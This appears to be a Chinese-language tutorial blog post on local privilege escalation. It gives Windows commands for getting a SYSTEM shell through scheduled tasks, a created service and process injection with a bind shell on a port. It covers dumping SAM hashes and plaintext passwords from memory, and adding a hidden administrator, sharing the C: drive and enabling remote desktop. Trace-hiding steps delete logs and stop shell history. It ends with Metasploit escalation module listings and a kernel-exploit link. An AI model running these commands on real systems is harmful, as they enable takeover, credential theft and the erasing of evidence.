本地提权

记录一些Windows下的本地提权方法~

通过软件,服务漏洞取得shell的权限是那个软件,服务的权限,或是执行那个软件,服务的账号所拥有的权限,出于安全性考虑这些权限可能会很低,就需要提权,还有一个知识点就是一般以什么账号运行的软件会有账号的权限,通过软件生成的进程也是具有和软件同样的权限。
首先,说下Windows下的两个特殊账号:system和administrator,哪个权限高?系统还是最高管理员?
其实他们是针对不同的对象的,所以他们各有特别的权限,例如SAM,部分注册表等必须要系统权限才能读取!又有些只有administrator才能使用,所以他们的交集才算是系统的最高权限吧。

Administrator->system

这里是本文需要用到的三个工具,为了方便可以直接放到环境变量下。【本文全都是放在windows\system32目录下的】
whami可以查看自己目前的用户,权限
1:在WindowsXP里从administrator到system权限
首先看下自己的权限,是administrator

查看当前系统时间,然后用at命令建一个计划,在什么时间启动它,这里看到系统时间是17:10分
就建个任务在17:11分执行,后面的interactive就是交互式执行,你能看到他,后面的cmd都不陌生就是一条命令,打开cmd软件,可以改成其他的有效命令

到时间时看到已经弹出来一个新窗口,是system权限的

一般这就够了,可以在这里面执行很多命令,也可以以此权限运行桌面环境,会得到一个system账号的桌面环境,在那里面的所有操作也是system权限哦【操作如图,先结束掉administrator的桌面再创建桌面】


2:在高版本系统,at命令已经没有了,可以用下面的命令
这条命令的意思是创建一个叫做syscmd的服务,这条服务是来启动一个cmd的

1
2
sc Create syscmd binPath= "cmd /K start" type= own type= interact 
sc start syscmd




看到已经成功了!
3:使用微软的套件完成
输入如图的命令

4:通过注入进程的方式切换到其他进程
使用如下命令查看当前有哪些进程,他的pid和权限,用户。。

因为没有低权限的,就随便找了一个system的进程,pid为848,运行cmd,绑定到12345这个端口,然后就可以使用nc来连接了

如图,这是在另一台电脑上通过nc连到的,查看权限是system(怎么用nc?请查看本站关于他的使用文章)

进程注入可以注入到任意的进程中去就是拥有任意权限,而且因为没有新进程,还是不容易被发现的,不过他会开一个端口,通过检查端口就会发现问题,这也给我们提醒了,检查后门可以通过查看端口来,不过也不要只看他,有的比较猥琐的会在特定的时间开启端口。。。

Administrator->passwd

背景:
Windows的密码系统密码以加密的方式保存在/windows/system32/config/下的sam文件里,而账号在登陆后会将密码的密文和明文的都保存在于内存当中,正常情况下系统启动后sam是不能读取的,但是也可以使用软件,现在来介绍一个小工具pwdump,它支持远程获取目标数据库的密码,需要知道至少一个账号

1
pwdump -u username -p passwd hostname|ip

对于登陆后的本机当然就不需要账号和密码了

1
pwdump localhost


这个文件对应每个账号分成4部分,username:uid:LM:NTLM后面两个就是以两种不同的方式加密的密码,前一种存在缺陷会将使密码不区分大小写且7个字符一段最多14个字符,现在已经没怎么用了,不过为了兼容以前的还是存在。得到这个就可以用ophcrack跑了,速度很快的(怎么用?看本站的关于它的笔记吧、、、)
然后还有工具可以直接读取内存中的明文密码!简单省事

默认使用-l 读取数据格式username:domain:lm:ntlm(这种读取是从内存中读取已经登陆的信息,而不是读取sam数据库)这样默认是先用安全的方式读取,若读取失败再用不安全的方式,那样很可能会对系统造成破坏,可以使用-f 参数强制使用安全的方式

1
2
3
4
-g参数是用来计算密码得,就是制定一个明文会使用系统的加密方式来计算密文
-c 以指定会话来执行cmd
-v 显示详细信息,这样才能看到luid信息
-w 这才是最关键的,用来查看已登录的明文密码


下面再来介绍一款神器,超级强大,这里只介绍一个功能,其他的操作可自行百度

进入软件,此软件可用::查看帮助,选定一个模块后也可以使用::查看本模块的帮助,例如

这样查看有哪些模块,选定privilege加::可以看到它之下的命令

看到它有两个子命令可以使用

这里使用了debug提权,然后就可以去读取密码了,输入如图。。。

这个工具超级超级超级强大,可以去看手册了解。。。

利用其它信息

再谈谈其他比较常见的东西,内容简单又较多,就不截图了,需要自己输入去看看效果才能很好地理解!

Linux 基本信息收集

1
2
3
4
5
6
7
8
/etc/resolv.conf 看DNS配置,看可不可以劫持,例如直接该文件呀
/etc/passwd 存放账号信息
/etc/shadow 存放密码信息
whoami and who –a 查看用户信息
ifconfig -a, iptables -L -n, ifconfig –a, netstat –r 查看网络参数信息
uname –a 查看系统版本信息,看有木有已知的漏洞
ps aux 查看当前进程信息
dpkg -l| head 查看软件包安装信息

Windows 基本信息收集

1
2
3
4
5
6
7
8
9
10
11
12
ipconfig /all 	基本的网络配置
ipconfig /displaydns 显示缓存的dns解析记录
netstat -bnao 查看各个软件的连接信息
netstat –r 显示网络接口,路由表等
net view , net view /domain 查看网络共享的
net user /domain, net user %username% /domain 查看与共享的
net accounts 显示账户安全策略的
net share 显示文件共享的
net localgroup administrators username /add 将一个账户加到管理员组
net group "Domain Controllers" /domain 查看域控制的
net share name$=C:\ /unlimited 将C盘无限制的共享
net user username /active:yes /domain 激活某个用户

WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)

1
2
3
4
5
6
7
8
9
10
wmic computersystem get username 查看当前登录账号名称的
wmic netlogin get name,lastlogon 查看用户登录记录的
wmic process get caption, executablepath,commandline 看到当前进程及是由那条命令(软件及文件位置)生成的进程
wmic process where name=“calc.exe" call terminate 结束这个叫calc.exe的进程
wmic os get name,servicepackmajorversion 取得系统版本的,补丁
wmic product get name,version 查看当前安装的软件
wmic product where name=“name” call uninstall /nointeractive 在后台静默的删除“”里面名字的软件
wmic share get /ALL 看共享的
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" 用来开启远程桌面的,机器名就是目标机器的名称,自己就可以改为localhost
wmic nteventlog get path,filename, writeable 查看系统日志及存放位置的

收集敏感数据

1
2
3
4
5
系统信息 
.ssh ;.gnupg 这个目录下有公私钥,用cat known_hosts查看,密钥可以登录系统
/tmp 临时目录权限高,里面容易残留敏感信息
SAM 数据库 ; 注册表文件
UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\ 这是windows的临时目录

隐藏痕迹

禁止在登陆界面显示uname这个账号,都知道Windows在都有多个账号开机时会提示登入哪个账户,这样可以不提示:

1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0

1
2
3
4
5
6
7
8
9
del %WINDIR%\*.log /a/s/q/f 			删除日志记录
History -c Linux下的删除历史命令的命令
rm -f .bash_history
touch .bash_history
chattr +i .bash_history Linux的历史命令还会写入文件,可以用这种方式让它不记录历史命令,注意这些都是在家目录下执行的
lssttr 文件 查看特殊权限
/var/log/auth.log|secure 用户认证信息文件,可以用cat打开
btmp / wtmp 记录登录信息的文件,需用last打开
lastlog | faillog 查看最后登录信息|登录失败信息

利用metasploit

metasploit下有很多本地提权的模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
root@kali:~# msfconsole 

_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\


=[ metasploit v4.15.5-dev ]
+ -- --=[ 1674 exploits - 959 auxiliary - 294 post ]
+ -- --=[ 489 payloads - 40 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search Escalate

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
auxiliary/admin/mssql/mssql_escalate_dbowner normal Microsoft SQL Server Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli normal Microsoft SQL Server SQLi Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_execute_as normal Microsoft SQL Server Escalate EXECUTE AS
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal Microsoft SQL Server SQLi Escalate Execute AS
auxiliary/scanner/http/cisco_ssl_vpn_priv_esc 2014-04-09 normal Cisco ASA SSL VPN Privilege Escalation Vulnerability
auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription 2005-04-18 normal Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION
auxiliary/sqli/oracle/dbms_export_extension 2006-04-26 normal Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION
auxiliary/sqli/oracle/dbms_metadata_get_granted_xml 2008-01-05 normal Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_GRANTED_XML
auxiliary/sqli/oracle/dbms_metadata_get_xml 2008-01-05 normal Oracle DB SQL Injection via SYS.DBMS_METADATA.GET_XML
auxiliary/sqli/oracle/dbms_metadata_open 2008-01-05 normal Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN
auxiliary/sqli/oracle/droptable_trigger 2009-01-13 normal Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger
auxiliary/sqli/oracle/lt_findricset_cursor 2007-10-17 normal Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method
exploit/linux/http/pandora_fms_exec 2014-01-29 excellent Pandora FMS Remote Code Execution
exploit/linux/http/riverbed_netprofiler_netexpress_exec 2016-06-27 excellent Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution
exploit/linux/local/bpf_priv_esc 2016-05-04 good Linux BPF Local Privilege Escalation
exploit/linux/local/desktop_privilege_escalation 2014-08-07 excellent Desktop Linux Password Stealer and Privilege Escalation
exploit/linux/local/sophos_wpa_clear_keys 2013-09-06 excellent Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation
exploit/linux/local/zpanel_zsudo 2013-06-07 excellent ZPanel zsudo Local Privilege Escalation Exploit
exploit/multi/http/moodle_cmd_exec 2013-10-30 good Moodle Remote Command Execution
exploit/osx/local/nfs_mount_root 2014-04-11 normal Mac OS X NFS Mount Privilege Escalation Exploit
exploit/osx/local/rootpipe 2015-04-09 great Apple OS X Rootpipe Privilege Escalation
exploit/osx/local/tpwn 2015-08-16 normal Mac OS X "tpwn" Privilege Escalation
exploit/windows/local/ask 2012-01-03 excellent Windows Escalate UAC Execute RunAs
exploit/windows/local/bypassuac 2010-12-31 excellent Windows Escalate UAC Protection Bypass
exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
exploit/windows/local/bypassuac_injection 2010-12-31 excellent Windows Escalate UAC Protection Bypass (In Memory Injection)
exploit/windows/local/bypassuac_vbs 2015-08-22 excellent Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
exploit/windows/local/ms10_092_schelevator 2010-09-13 excellent Windows Escalate Task Scheduler XML Privilege Escalation
exploit/windows/local/service_permissions 2012-10-15 great Windows Escalate Service Permissions Local Privilege Escalation
exploit/windows/local/trusted_service_path 2001-10-25 excellent Windows Service Trusted Path Privilege Escalation
payload/cmd/mainframe/apf_privesc_jcl normal JCL to Escalate Privileges
post/multi/escalate/aws_create_iam_user normal Create an AWS IAM User
post/multi/escalate/cups_root_file_read 2012-11-20 normal CUPS 1.6.1 Root File Read
post/multi/escalate/metasploit_pcaplog 2012-07-16 manual Multi Escalate Metasploit pcap_log Local Privilege Escalation
post/windows/escalate/droplnk normal Windows Escalate SMB Icon LNK Dropper
post/windows/escalate/getsystem normal Windows Escalate Get System via Administrator
post/windows/escalate/golden_ticket normal Windows Escalate Golden Ticket
post/windows/escalate/ms10_073_kbdlayout 2010-10-12 normal Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
post/windows/escalate/screen_unlock normal Windows Escalate Locked Desktop Unlocker


msf >

利用内核漏洞

不多说,例如:
https://github.com/SecWiki/windows-kernel-exploits
这里收集了很多本地提权漏洞可以直接运行提权。

参考

安全牛课堂-kali-linux